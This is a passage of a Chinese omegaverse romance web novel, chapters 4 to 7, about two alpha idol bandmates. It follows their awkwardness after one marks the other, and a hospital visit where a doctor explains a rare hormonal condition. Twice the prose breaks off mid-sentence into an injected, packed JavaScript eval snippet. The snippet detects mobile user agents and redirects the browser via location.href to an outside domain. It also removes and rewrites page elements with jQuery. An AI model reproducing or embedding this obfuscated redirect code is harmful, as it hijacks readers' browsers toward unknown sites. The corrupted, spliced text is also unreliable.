指尖触到一条扁长形状的不连贯伤口,表面结了薄薄的痂。 alpha这块肌肤的愈合力没有omega那么强,汤昼恒应该是在他睡着的那段时间买了药给他喷了。 医用喷雾干燥后形成一层薄膜,盖住了腺体表面,却挡不住从血液当中散发出的信息素气味。 方柏嘉屏息了几秒,再深呼吸。 面前的空气里,汤昼恒的樱桃味儿正和他自己的奶油香混合在一起,闻起来像刚从冷藏室端出来的樱桃蛋糕。 不知为什么,方柏嘉突然想起他被咬破腺体后,迷迷糊糊间,感受到汤昼恒湿热的舌尖滑过伤口、卷走溢出来的血液的酥痒触感。 方柏嘉的脸诡异地红了下,又骂了声靠。 现在知道事后关心了,当时怎么不知道拦着他点。 汤昼恒也是,他自己神志不清发疯就算了,怎么对方明明是清醒的,也由着他胡闹? 让汤昼恒给他标记,亏自己想得出来。 ……也不知道alpha之间咬脖子到底有什么用。 方柏嘉觉得自己一定是疯了,才会向汤昼恒提出这么奇葩的要求。 可他那会儿被某种念头煎熬着,是发自真心地觉得这样能让自己好受些。 现在回想起来,方柏嘉都感到诧异。 自己当时在意识不清醒下由本能引导做出的种种举动十分反常,并不像一个Alpha应有的行为。 反而更像是……Omega。 这个想法一出来,就把方柏嘉吓了一跳。 想了想又觉得过于好笑,晃晃脑袋把它从脑海里驱逐走。 可能真是吃药太狠把身体吃出问题了。改天得找时间去医院看看。 他这样想着,视线落到最后两条信息上方。 【话说回来,你经常这样吗?给人钱然后随便亲别人?对人家摸这摸那,再让人对你这样那样?】 【没有别的意思,只是好奇。】 4. 第 4 章 两条消息和前面其他几条相隔足有二十分钟,可见汤昼恒也反复琢磨了良久。 方柏嘉的第一反应是:什么意思,阴阳怪气? 对方该不会是在暗讽他不花钱纯白嫖吧。 可仔细品味一下,又不像是在要钱。 对方最后那两句话太意味深长,方柏嘉看不出他是在责备还是揶揄。 其他几条信息则像是随处可见的日常谈话,让人察觉不到对方的态度。 总体来说,都很模棱两可。 方柏嘉现在就是一个拔剑四顾心茫然的状态。 他昨晚都那样老公长老公短地挂在对方身上撒娇了,汤昼恒就算再迟钝,也该察觉出自己喜欢他了吧。 那对方现在这个反应是怎么回事? 他一个大男人被调戏了一整晚,第二天起来还要发消息关心方柏嘉身体,却对真正的问题避而不谈,这对吗? ——如果说昨天处在易感期高峰的方柏嘉满脑子只有求欢,从而忽略了本有的情绪,那么现在理智重回高地之后,方柏嘉就不得不重新审视起这件事来了。 清醒过来回忆,汤昼恒不论是在亲他、安抚他,亦或者对他做别的事情的时候,都是有表现出过相当明显的迟疑的。 虽然贴心,但是又不情不愿。所有的事都是方柏嘉主动要求、软磨硬泡,他被缠得没办法了才不得不磨磨蹭蹭做出回应。 相比起方柏嘉的热烈情动,他的所作所为实在冷淡,方柏嘉中途想反过来帮他,汤昼恒也不让。 说实话挺不爽的。 方柏嘉啧了一声。 自己无所不用其极地招惹了对方一晚上,汤昼恒还能忍住不睡,可见根本对他没什么兴趣,小说里写的什么一场意外翻云覆雨意乱情迷更是瞎编。 那他就不懂了,汤昼恒既然对他没感觉,为什么还要留下来照顾自己,动机是什么? 不主动,但是也不拒绝。 方柏嘉不问,他也就装不知道。 是在等他自己提及,自投罗网? 还是暗示对方只是单纯出于队长的责任感礼貌友好、不带感情地逢场作戏一下,菜都送上门来了就顺便吃两口,但是不负责也没后续? 方柏嘉拧紧眉头思考。 前两天才发生那种事,对面对他的观感一定不怎么样。 得知爱和自己作对的人其实是暗恋他的深柜,那个人会怎么想—— 暗中嘲笑自己,或者觉得很得意? 想到这里,方柏嘉忍不住有点焦虑和烦躁。 被人发现自己喜欢对方已经够没面子,更可怕的是他昨晚各种黏糊糊求草的样子还被汤昼恒看在眼里,汤昼恒还把他给婉拒了! 不行,这太伤自尊了。 方柏嘉一下子从床头坐起来。 ……得想办法补救,不能让对方抓住自己的把柄。 他如临大敌地盯着两人的聊天界面,大脑开始飞速运转。 汤昼恒既然没有明说,或许也有一些其他因素作祟,让他没有十足确定的把握。 这时候方柏嘉一旦按捺不住开口询问,就会处于下风。 相反,表现出自己毫不在意,甚至想要快点一笔带过的样子,说不定就能打消怀疑。 不,得比那个再强烈一点。 方柏嘉:【知道了,谢谢。】 【那个……昨天晚上认错人了,抱歉。】 【就当没发生过吧,这样对你对我都好。】 天,我简直是个天才。 这个理由,不仅完美地把他管汤昼恒叫了一晚上老公的因果关系给圆过去了,甚至还加了一层保险。 觉得我对你有意思?不好意思,我喜欢的另有他人。 至于是谁,猜去吧你。 一般人应该也不会自大到追问这种事情。 嘴里叼着的营养剂跟着见底,被他吸出“滋滋”声。 方柏嘉反复把发出去的消息检查了几遍,自认为没什么破绽,下床扔了垃圾,又一头栽倒回被窝。 此后的几个小时都没回应。 一直到晚上十点,汤昼恒才终于发来一条非常简洁的:【…………】 方柏嘉又等了一会儿,对方始终没有下文。 ? 就没了? 自己在那挠破头纠结了快一下午,最后得来的就是一串省略号? 方柏嘉有种不真实感。 所以这是他的计划成功了的意思吗。 汤昼恒不回,方柏嘉也懒得在那里继续分析揣摩对方的想法。 算了,就这样吧,能做的他都已经做了。 头晕。 方柏嘉摸了摸额头,才发现自己还发着轻微的易感热。 汤昼恒的帮忙让他捱过了昨天的巅峰热潮,但毕竟没有真做,起到的效果有限,方柏嘉接下来两天还是在卧室里窝着。 睡了醒,醒了睡,饿了就啃袋营养剂。 眼下这种情况,方柏嘉很不希望短时间内再和汤昼恒接触。 然而事与愿违,易感期结束后再过两天,就是成员们合体练舞的日子。 时间过于紧促,方柏嘉见状,也打消了去医院的念头。想着反正是生理期的事,等下次易感期再看看也不迟。 这天早上。 约定好九点在练习室集合,方柏嘉匆匆吃了个面包就往公司赶。 到了楼下发现时间还有剩余,他反而又不着急了,转身进了公司楼下隔壁的咖啡厅,现场点了一单。 ……其实是还没做好马上要见到汤昼恒的准备,想给自己一点缓冲时间。 结果等待制作的过程中看了眼群消息,才发现汤昼恒也还没来。 江白树在微信群里发了张自己和丞绪、杭泽宇的合照,@了剩下三个人的ID问他们人到哪了。 陆翰音说他还在堵车,汤昼恒干脆没回。 方柏嘉眨了眨眼,目光从文字泡上移开,冲着咖啡厅陈设拍了张照片,发到群里,说:【在等。】 【还有谁想喝?我一起买。@全员】 …… 方柏嘉最后是两只手提着整整六个袋子走出的咖啡店。 来到公司门口,看到熟悉的人影出现,保安小跑过来给他开门。 跑到一半,脚步却蓦地停住,不再往这边走。 方柏嘉正疑惑着,一只手突然从斜后方伸出,替他将门拉开。 这手极修长,腕侧到掌背攀着几根淡淡凸起的血管,瞧着无端的引人遐想。 看手掌高度,应该比他高上那么几公分。 ……整个公司比方柏嘉高的人就没几个。 方柏嘉的心一下提起来。 似有预感地一回头,果然看到汤昼恒那张脸。 来人垂了垂眼,目光从他手中的包装袋上扫过。 “要不要我帮你?” 估计是看方柏嘉一个人拎有些麻烦,他这么说着,身体已然半前倾过来,自然而然要将其中三个袋子接过。 这一下凑得太近,汤昼恒额前的发丝都几乎从他眼前五公分的地方晃过去。 一阵樱桃淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762087|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香袭来,方柏嘉不知受到什么刺激,冷不丁把袋子往后拽了点,整个人也后退一步:“不用,这个不沉——” 好像恨不得立刻和汤昼恒划清界限。 看他这样,汤昼恒也愣了愣,悬停在空中的手落下,顿了下才说:“好。” 方柏嘉回头,一句话也没说地进了大厅。 走了两三步才反应过来,自己刚才是不是反应过度,表现得太夸张了? 汤昼恒会不会觉得他很没礼貌? 于是又转过身,语气生硬地提起袋子示意:“……那个,喝咖啡吗?” 汤昼恒顺着他的动作看了看,很礼貌地拒绝了:“不了,谢谢。” “嗯……”方柏嘉找不到话说了。 揣摩了一下他那句“不了”的态度,心想,这人该不会是生气了吧。 扫过门禁,二人相继刷卡进了电梯。 好死不死,这一趟只有他们两个人。 按下电梯按钮后,又沉默了片刻。 汤昼恒突然问:“脖子上的伤好点了吗?” 方柏嘉过了两秒才意识到对方在问什么。 他偏了偏头,和正看向他的汤昼恒对上眼神,想到刚才他在对方前边走,汤昼恒应该是看到了他脖子上的阻隔贴。 “还行。”方柏嘉含混而又尴尬地说。 汤昼恒又道:“好的。” 方柏嘉:“。” 无言以对了片刻,两人纷纷收回视线目视前方,空间内部再度陷入死一般的沉寂。 “…………” 好微妙。 明明以往每次到公司上班,方柏嘉最期待的就是这样的时刻。 如果运气够好,就能刚好赶上和汤昼恒搭乘一班电梯。 就算这样也做不了什么,因为每次一和汤昼恒单独待在一起方柏嘉就头脑晕眩,连姿势都不会摆,哪怕心里都开始放烟花了,所能做到的最大限度也只是面无表情地冲对方点头示意一下。 就这样站在一起也很爽了。 那种整片空间里只有自己和他在一同呼吸的共振感。 但现在方柏嘉只想赶紧消失。 他本身就是对同类信息素极敏感的类型,不知道是不是被对方标记过的缘故,方柏嘉如今对汤昼恒的易感程度甚至放大到了之前的十倍。 此刻位处于封闭的电梯厢里,就好像被装进一个属于对方的气味盒子。方柏嘉不由自主地心跳加速,甚至开始感到腿软。 救命。 Alpha被咬了腺体这么饥/渴是正常的吗。 他浑身僵硬地站在原地,余光看着前方枪银色的门上倒映出他和汤昼恒模糊的身影,一个在左,一个在右。 ……他要是稍微往旁边走一点,对方应该不会注意到的吧。 方柏嘉想着,悄悄移动碎步,好像在随意活动脚踝一样,佯作无心地往最近的墙侧挪了挪。 然后再挪了挪。 挪到他觉得差不多又不会太明显的位置,方柏嘉便停下来,假装认真观察前方显示屏上的楼层数字。 余光看着他越跑越远的汤昼恒:“……” 自己是什么很可怕的人吗? 不知过了多久。 一阵漫长的等待后,电梯终于发出“叮”的一声。 到了。 方柏嘉双肩沉下,如释重负地长出一口气,甚至没注意到自己的这个“呼——”有多明显。 金属门一开启,他就大步向前冲了出去。 汤昼恒脚下一顿,也跟着走出电梯。 5. 第 5 章 到了练习室,舞蹈老师已经就位,方柏嘉打了声招呼,开始给众人分发饮料。 除了给成员们的几杯,剩下的都给了老师以及日常跟着他们拍摄剪辑物料的工作人员。 最后还多出来一份,他在走廊上找了个路过的人送了。 回到屋中,刚把自己那份插上吸管,站在旁边照镜子的江白树“咦”了一声,碰了碰他脖子后边戴着的东西。 “你这里是怎么回事?” 一瞬间,方柏嘉几乎是条件反射地顶开他的手臂,猛一下护住脖颈:“你干什么?” 江白树手还停在半空中,一脸莫名:“……这话应该我问你,你反应这么大干什么?你易感期结束了吧,怎么还戴这玩意儿?” 忽然提高的音量引来不远处正在交谈的丞绪和汤昼恒的注意,两个人都转过头来看着这边。 方柏嘉的脸色倏地变得不大自然起来。 还能有为什么。 他的腺体现在里面有汤昼恒的樱桃味信息素,外边有一眼就能看出被人咬过的伤口,不采取措施的话就太明显了。 想完全不被发现是不可能的,好在方柏嘉提前在脑海里排练过说辞,搪塞着说:“我最近有点激素分泌紊乱,不贴的话味道太大了。” 听清他们在说什么,丞绪问:“去医院看过没有?” “……还没有,也不急。”方柏嘉哽了一下,感受到丞绪身边那人的目光落在自己身上,半边身子都像发了麻。 好诡异,这种当着另一个当事人的面瞎扯的感觉。 脸上有些发热,他强迫自己不去看汤昼恒是什么反应,佯作不经意地糊弄:“也不是什么大事,过几天再看吧。” 说完当即低头,欲盖弥彰地啜了一口拿铁。 丞绪露出一脸不太赞同的表情,刚要说些什么,最后一名成员陆翰音一路小跑着从门口窜进来:“抱歉抱歉,路上堵车了!” 不知有意无意,汤昼恒恰在这时救场似的拍了下手掌,示意大家到镜子前集合:“人都到齐了,我们正式开始吧?” 话题很快揭过,方柏嘉也放松下来。 接下来一个星期,他们都泡在练习室里练习这次新专主打歌的编舞。 这天中午快一点,一行人结束了上午的练习,一块去公司食堂吃饭。 餐桌上聊到陆翰音昨夜刚刚打包东西搬回宿舍的事,事件主人公忍不住吐槽。 “……离太远了,早上又堵车,坐车过来要好久。我就是磨蹭,前两天就想搬,一直没收拾完。” 陆翰音是他们组合年龄最小的,和倒数第二的杭泽宇一样还在上大学,赶上去年团体空窗期,他俩都在学校附近租了房。 杭泽宇练习第一天就回宿舍住了,闻言嗤笑一声:“谁让你懒。对了哥,你不搬回来住吗?” 后边这句是问斜对角的汤昼恒的。 现在组合六个人里,就剩下他一个还没归队。 陆翰音一听也来了精神:“就是,他们宿舍人早就齐了,我们呢?哥,你也把你那几只猫带回来给我和方柏嘉瞧瞧呗。” 听见自己和另一个人的名字被一同提起,汤昼恒举着筷子的手顿了顿。 视线不经意朝方柏嘉的方向分去一瞬,想想才笑道:“你也知道是‘几只猫’,上个月才跟我从剧组那边坐车回来,运来运去的有点麻烦。再说吧。” 方柏嘉就在旁边听着这几个人你一言我一语,也不说话。 扒拉了几下减脂餐,实在没有胃口,把筷子放下了。 轻轻的“啪”的一声,再度引来还没收回目光的汤昼恒的注意。 隔着中间一个人的距离,若有所思地看着他。 杭泽宇听到响动也转过头,看到他餐盒里还剩一大半东西,夸张地挑眉:“你就吃这么点?” 方柏嘉“嗯”一声。 “看你这两天都没什么精神,怎么了?” 汤昼恒的声音突然响起,吓了方柏嘉一跳。 他定了定神,迟疑一下,说:“肚子有点不舒服。” 不知道为什么,这几天他突然开始小腹隐痛,身上的疲惫感也加重了,跳一会舞就累得不行,腰椎也跟着酸。 要说多疼也算不上,就是很烦人。 因为不算严重,他也没怎么当回事,今早吃了片止疼药就来了公司,本来上午都没什么感觉了,刚才却又冷不丁抽疼起来。 “是昨晚吃坏东西了,还是着凉?”丞绪跟着问。 方柏嘉摇摇头:“不知道。反正一会也过去了,没事。” 前一天晚上也出现过类似情况,当时他只难受了一阵,方柏嘉理所当然地觉得这次也一样。 他收拾了下餐盒,一个人提前回了练习室,打算在角落里的沙发上休息一会儿。 这沙发平时用来放成员们的随身物品,好几个人的挎包和脱下来的衣物都扔在上面。 方柏嘉将它们拿起来堆在一旁。拎起其中一件时,他一眼就认出来,这是汤昼恒今天穿来的那件卫衣外套。 “……” 方柏嘉缓慢地眨了眨眼。 有点想…… 不你不想。 他严正地叱责了自己。 随即把衣服放下,坐到沙发左边的空位上,开了一局游戏。 二十分钟后,游戏结束。 方柏嘉忍不住再次抬起视线,悄悄看向沙发另一边的灰色外套。 回过头,再转头。 再回过头,再再转头。 无形的力量始终在拉扯着他,一番天人交战后,方柏嘉终于还是没有克制住冲动,把那件衣服拿到手里,低下头,小心翼翼地闻了闻。 这完全是由生/理本能主宰的行为,就像方柏嘉那天想让汤昼恒咬他一样,在真正做出这个举动之前,他并不知道自己到底想要什么。 直到熟悉的樱桃香气涌入鼻腔,方柏嘉下意识地深吸一口。 ……这才突然意识到,他在找寻的是汤昼恒的信息素。 方柏嘉感觉自己像变态,但是又忍不住。 觉得气味太淡,把衣服翻到里面,试图获取更多来自那人的气味。 就在这时,吃完饭的江白树和杭泽宇回来了。 打头的江白树一进来就看见方柏嘉大半张脸都埋在另一个人的外套里狂吸的场景,不由得“卧槽”一声:“你在那儿拿人家的衣服干什么呢?等等,这该不会是队长的吧?!” 方柏嘉茫然地从衣服领口抬起头来,一脸的尴尬。 他也没想到自己难得鬼迷心窍一次,刚好就被人撞上。 也不知道脑子里哪根筋搭错,硬着头皮来了句:“我是觉得……这件衣服有股怪味,就拿起来看看。没事了。” 说完干笑两声,就要把外套撇到一边。 杭泽宇走到近前,闲着无事,抓起衣服用力吸了两下,疑惑地说:“没有啊,只有洗衣液的味道。你干嘛说汤哥的衣服臭。” 话音刚落,门口紧接着传来脚步声。 同一时间,汤昼恒走进了练习室的门。 方柏嘉:“…………” 毁灭吧。 此时此刻,方柏嘉恨不能把对方的嘴给缝上——不,还是穿越到半分钟前缝上自己的嘴好了。 到底是什么脑回路,居然能想出那种理由。 杭泽宇这家伙还好死不死给他复述了一遍,搞得好像他在背地里诬陷汤昼恒时刚好被抓包了一样。 事情还没完。 杭泽宇见到来人,像有新鲜事要分享,立刻朝着汤昼恒兴冲冲道:“哎哥,你知道吗,方柏嘉刚才说你……” 最后几个字还没说完,方柏嘉再也忍无可忍,恼羞成怒、还有点慌张地伸手捂住对方喋喋不休的嘴,将他向后拖。 “唔唔、唔!” 杭泽宇预感大事不妙,立刻向最近的江白树施以眼神求助,对方却只是幸灾乐祸地旁观。 不远处,汤昼恒一脸淡淡诧异地停下脚步看这两人打闹。 突然被经纪人从走廊外面 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“你,”他对着杭泽宇,“明知道他俩……那啥着呢还故意整这出,玩呢?” 杭泽宇坐在沙发上,惊魂未定地捂着脖子:“我就是开个玩笑嘛,本来也不会真说,谁知道他反应那么大。这个人绝对有问题。” 说完,一脸愤愤地盯着方柏嘉。 “……”方柏嘉移开目光。 江白树又转向方柏嘉:“还有你,背地里说人家坏话干嘛?外面已经觉得我们组合很塑料了,你可不能再从内部继续搞分裂,听到没有不不同志!” 方柏嘉:“。” 关键我也没想到他刚好就来了啊。 事情发展到这个地步,确实是他失言在先,方柏嘉有点悻悻,但让他当场忏悔是不可能的。 他没好气地翻了个白眼:“滚,谁允许你叫我黑称了。” 江白树无所谓:“你也可以叫我老馒。” “……” 方柏嘉静下心来,越想越烦,也不知道杭泽宇第一次说的话汤昼恒听见了没有。 按理说门口离沙发还有些距离,万一对方刚好就错过了那一句呢? 可要是没错过怎么办?他是不是得找机会和汤昼恒解释解释? 中午就在一阵胡思乱想中过去。 汤昼恒被经纪人叫去核对接下来的行程,一去就是一个多小时。 等他回来,方柏嘉腹痛的症状也好得差不多了。 一行人再度集合,开始了下午的排练。 这次的专辑主打曲风激烈,节奏感很强,相对应的,舞蹈力度也特别大,十分消耗体力。 下周就要拍摄MV,这几天他们一直在对队形走位、发力定点以及表情管理等等细节。 跳着跳着,方柏嘉身上的那种不适感又回来了。 下腹部的坠胀感越发明显,好像肚子里盛了块石头在往下落。 起初他还能强忍,然而就在几分钟内,石头逐渐发展成了保龄球的规模。 某一个瞬间,方柏嘉忽然感到呼吸困难,浑身发冷,眼前也出现了重影。 身体快要支撑不住自己的重量,发出尖锐的耳鸣作为警告。 下一秒,方柏嘉的身型冷不丁矮下去。 …… 一阵嘈杂过后,周边的人全围拢过来。 汤昼恒第一个半跪下身,一只手轻拍他的背部,联想到中午的事,问他:“还不舒服,是吗?” “是不是低血糖了?我包里还有零食,要不要吃?”陆翰音在斜后方说。 方柏嘉面色苍白地蹲在地面,整个人处在要晕倒的边缘。听到任何问题,也只是紧拧着眉毛点头或者摇头,一只手按在腹部,疼得话都说不出。 汤昼恒侧头观察一会儿他的表情,说:“看起来不像。” 他扶着方柏嘉站起来。 “你们接着练,我陪他去医院看看。” 6. 第 6 章 方柏嘉晕头转向地被对方带下楼。 濒临休克的体验还没散去,眼前依然阵阵发昏,看什么东西都像蒙着一层黑纱。 到了车里,他立刻不顾形象地蜷缩起来,上身压低贴着大腿,额头抵住膝盖。 汤昼恒看他的姿势实在别扭,拍了拍方柏嘉的后背示意他:“不舒服可以往我这边靠。” 放在平常大概不会成功的事,方柏嘉这回却表现得异常乖巧——主要也是实在疼懵了,这回想逞强也没有机会,更无法像在电梯里那样保持距离。 听了汤昼恒的话,他迷迷糊糊就朝他身上倒,整个人侧躺下来,把汤昼恒的大腿当做枕头。 “师傅,麻烦开快点。”汤昼恒催促一声,开始给经纪人发消息。 觉得方柏嘉有点可怜,中途停下来伸手摸了摸他的头发。 方柏嘉没说话,像被惊扰的动物那样不适地晃了晃头,汤昼恒以为他不高兴,就把手给拿开了。 却见方柏嘉提起双腿,小心翼翼地不让鞋子碰到座垫,在座位上翻了个身,面朝着自己的方向。 汤昼恒也没在意。 过了一会儿,感觉胸前灌进一阵冷风,有什么柔软的东西在一点一点地顶着他的腹部。 汤昼恒困惑地低下头。 首都四月份的早春还没暖和到可以全天穿着短袖,汤昼恒出来前就把自己的外套套上了,又让方柏嘉穿上他的,还带上了对方的身份证件。 他外套拉链没拉,本只虚虚在身前拢着,这会儿却被方柏嘉给撩开,迷迷糊糊就往他的卫衣外套里钻,埋在汤昼恒的腹部,小狗一样不停吸着气地闻。 汤昼恒刚才感受到的物体,就是他在嗅闻过程中屡屡撞上来的鼻尖。 “……”等一下,这是在做什么。 汤昼恒难得错乱地眉梢一跳,大脑有一瞬空白。 他把外套撩开,想让方柏嘉的脑袋露出来,却遭到了对方的反抗,自己又把头顶那块布料给拽回去,变本加厉地用额头蹭着他的肚子,不清醒地耍赖的样子和易感期那天一模一样。 汤昼恒没有办法,只能拎起身上长袖T恤的领口,凑过去仔细闻了闻。 又闻了闻外套内里。 还好。 虽然跳了一个上午的舞,但练习室里一直开着空调,没出太多汗,也闻不出什么异味。 甚至因为大量运动,促进了他的信息素分泌,导致汤昼恒的贴身衣物上都是一股樱桃味。 可不管怎么说,这个位置都有点太尴尬了。 想到这里,汤昼恒动手把外套脱下,不顾方柏嘉反对地盖在对方身上,把他裹吧裹吧包成一个团子。 方柏嘉刚开始还挣扎两下,后边也安静下来不再折腾,整个上身都埋在汤昼恒版型宽松的卫衣外套里,晕乎乎地被对方的气味包裹着抵达了目的地。 * 到了医院,晕厥的感觉已经渐渐散去。 但因为腹痛,方柏嘉还是全身无力。汤昼恒让他在候诊大厅坐着,前面的登记、挂号、缴费这些事情都由自己来做。 到了超声科来做B超,女医生得知他是来检查腹痛的,往他的肚皮上挤了些耦合剂:“按到哪个地方疼跟我说。” 方柏嘉嗯了一声,对方便手握超声探头,就着冰凉黏腻的物质在他腹部划动起来。 探头经过下腹部某片区域,方柏嘉感到一阵钝痛,立刻说:“疼。” 医生顿了顿,加大力道,反复在这块地方碾磨几下:“这里?你确定?” 痛感本就一直在持续,被对方这么一按,方柏嘉不受控制地闷哼出来,上半身条件反射地抬了抬,几乎是咬着牙根说:“确定。” 医生就不说话了,只是认真端详着显示器上的图像,脸上闪过一丝困惑。 “这个部位……”她顿了顿,看了眼方柏嘉,又打量了下他的病历单,“alpha,急诊内科?” 医生露出正在思考中的表情,从一旁拿过抽纸,示意方柏嘉自己擦掉耦合剂。 过了几秒,拿起一旁桌上的座机打了个电话,和一位同样是医生的人交流起来。 几分钟后,她转头对方柏嘉道:“你这挂号不对。去挂个生殖内分泌科的号,嗯……找林主任。” …… 方柏嘉穿好衣服,一头雾水地走出诊室。 尽管并不理解,还是按照那名超声医生说的,重新挂了其他科室的号,还被安排多做了好几项检查。 好在现代医学足够发达,所有报告一下午都能取到。 方柏嘉带着检查结果去找林主任。 对方是名看样子五十多岁的中年女性,显得温和儒雅。 翻看了片刻报告,问方柏嘉:“最近有纳入式性/行为吗?” “什——” 问题一上来就超出想象,方柏嘉反应了一秒,才说:“没有。” 他狐疑地猜测对方为什么会这么问,踟蹰着补充:“但是有一些边缘性/行为,呃,也临时标记了。” “对方是Alpha?” “对。” 这里是医院,常年接触病人的医生想必也见多识广,没什么需要隐瞒的。方柏嘉感到有点局促,但还是实话实说。 林主任点点头,又问了他平常的激素水平怎么样、易感期会不会觉得很难受、上一次易感期是什么时候之类的事。 “标记的时候,会感觉到对方的信息素对你很有吸引力吗?有没有那种生理层面上的,很不能自拔的感觉?” 这下方柏嘉是真的惊讶了:“您怎么知道?” 林主任只是笑笑,以十分自然的口吻见怪不怪道:“外边那个是你男朋友吧,最好把他也叫进来听。” “……啊?” 方柏嘉这一声比刚才被问到性/生活时调还高,意识到对方口中的“男朋友”指的是汤昼恒,很不合时宜地闹了个红脸。 刚才汤昼恒一路搀着自己过来,她肯定是看到了。 “他……他不是。”方柏嘉有些尴尬地答。 林主任的脸上闪过一丝不解,像在重新评估这两人的关系,指了指方柏嘉的后颈:“你这儿是他弄的吗。” “……” 方柏嘉:“是。” “有别的男朋友吗?” “……没。” “所以是第一次被人标记?” “呃,对的。” “那还是让他来吧。” 到底是经验丰富的医生,林主任对此并没感到多意外,脸上没什么表情地就做了决定。 方柏嘉不好违抗医嘱,一脸纠结地走去开门,然后,情不自禁地“咦”了声。 他本以为汤昼恒会在候诊区找个椅子坐下,还打算找他,出了门一抬头,却发现对方就在诊室门口,身体斜倚在墙边看着手机等他。 汤昼恒发现他这么快就出来了,先是一愣。 得知自己也要旁听,不由感到有些意外:“是情况很严重吗?” 方柏嘉不好说,含糊地摇摇头。 汤昼恒便跟他一起进了诊室,因为没有多的椅子,只能站在方柏嘉身后。 “先说下检查结果。”林主任扶了下眼镜,视线轮流从他们身上扫过,最后定格在方柏嘉身上,“你的生/殖腔发育得比一般alpha要好些,你知道吧?” 刚才林主任提的几个问题都太有针对性,方柏嘉心中隐隐有不好的预感:“嗯……知道。” 初中的生理课堂说过,原始的A与O都进化自最古老的人类Beta,直至现在,现代alpha的体内都有退化后的生/殖腔结构残留——基本是一个不超过小指长度的肉节。 但也有很小一部分alpha,因为一些特殊原因,生/殖腔会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“然而,当你还在你母亲的肚子里发育时,你大脑中负责表现性别差异的神经核团出了问题,导致你体内转化的omega性激素远超Alpha的正常水平。过多的O激素促进了本应退化的生/殖腔重新发育,你的身体误以为自己是O,所以才会被A的气味吸引,出现类似omega那样渴望alpha信息素、希望被插/入等等的假性发/情症状。” 林主任用科学的口吻面无表情地陈述着令人面红心跳的内容。 “…………” 方柏嘉一脸石化地呆在原地。 “至于生/殖腔发炎,我猜测,应该是你之前所述的易感期边缘性/行为和标记起到了作用,你的身体受到alpha信息素刺激,开始试图‘履行’繁衍的职责,想让你的生/殖腔排卵,但你并没有这个功能,就引发了器官的过度反应。” “这种情况,我建议你和标记你的alpha多做接触。” 林主任随手将检查报告递过来,被汤昼恒伸手接过。 “一方面是脱敏,在一段时间内以一定的频率固定接受来自alpha的信息素,让你的身体尽快适应这种状态,形成习惯之后,就不会反应这么剧烈。这也是从长远角度考虑,否则哪怕你这次治疗完,下次还是会有炎症。” “另一方面,被标记后,你会像omega一样对标记你的人产生依赖,内分泌的紊乱也会让你更需要对方的安抚。他的信息素可以帮你调解体内的激素水平,缓解不适。” “那么,”汤昼恒说,“具体需要怎么做呢?” 林主任:“刚开始脱敏,我建议你们每周至少进行一次中度及中度以上的信息素接触,比如临时标记、接吻这类,每次最低保持十五到三十分钟,确保更好地见效。” “还有什么问题吗?” 7. 第 7 章 方柏嘉的确有问题。 易感期那次的事已经够让他在汤昼恒面前抬不起头,现在又明着告诉他自己接下来离不开对方的帮忙,老天爷耍他的吧?! 汤昼恒又不喜欢他,说不定对方根本就不想淌这趟浑水,他还傻傻地让他也过来旁听,谁知道汤昼恒是怎么想的。 把希望全寄托在对方身上,岂不就完了? 方柏嘉试图给自己找一个备用方案。 “我想问,除了这些接触方式以外,就没有其他方法替代吗?我的意思是,如果对方没空怎么办?” 明明汤昼恒就在身后,他却说得跟那个人远在天边一样,就这样当着对方的面问出口。 看不到汤昼恒此刻的表情,他有种不知从何而来的心虚,眼神游离了几秒,慢吞吞道:“既然您说我激素水平不正常,那我能不能通过使用提升和降低激素类的药物来进行控制?” 听语气,明显不太想采用先前的那个建议。 林主任的第一反应是看向他身后的那名青年,但对方并没什么特别的反应和表示。 她惊讶地挑了挑眉,沉吟一会儿,表示方柏嘉体质特殊,她不可能像一般AO那样给他开药。 “你现在就好像一堆代码,虽然有缺陷,但也还算安全地运行了这么多年,真把你往正常人的激素值调整,不一定会比现在更好。而且这类药物副作用很大,轻则影响情绪睡眠,导致免疫力下降、长胖,重则还有其他患病风险,你确定你可以接受吗?” “……那算了。”方柏嘉纠结了一下,念头终究还是被无情扑灭。 眼下回归在即,最好还是不要再出别的岔子。 于是没再说话。 在他之后,汤昼恒却突然开口:“我也有一个问题。” 他身体微微前倾,一只手搭在方柏嘉后方的座椅靠背上,一脸虚心求知的模样。 “如果中途更换给他标记的alpha,会怎么样?会对身体产生不好的危害吗?” 方柏嘉听完一愣。 这个思路……他倒是没想到过。 对啊,换一个人来,他不就不用非得要汤昼恒出马了? 下一秒又震惊了,这家伙想甩开他的心思也太明显了吧,连装都不装了。 说的这么直接,是在假借和医生的对话提醒他自己不会帮忙吗? 全然忘了最先在医生面前直言不讳的是他自己。 尽管已经做好了心理准备,真听对方说出这话的时候,方柏嘉还是感觉心上嗖嗖中了两箭。 林主任:“……” 如果不是她事先知道两人已经标记过,光听他们说的话,恐怕会以为汤昼恒只是好心将方柏嘉送来医院的无关人士。 现在的小年轻,都是怎么回事。感情状况这么混乱吗。 她推了推鼻梁上的眼镜,迟疑道:“理论上说可以,因为只是临时标记,就算被覆盖了,除了最开始的排异反应外,也不会有什么大的影响。但还是尽量不要换来换去吧。” “好,我知道了,谢谢您。”汤昼恒不知道在想什么,这样说。 聊得差不多,二人准备离开。 临走前,林主任又想到什么,对他们补充:“对了,你们回去之后,身体舒适的情况下是可以同房的,但一定不要在炎症还没结束的时候就进入生殖腔,以免感染。” 汤昼恒下意识低头望向方柏嘉。 方柏嘉看起来恨不得找个地缝钻进去:“我们不会的。” 也弄不清说的是不会同房还是不会同房的时候草/生殖腔。 …… 林主任给方柏嘉开了消炎药,看诊结束后还要去打吊瓶。 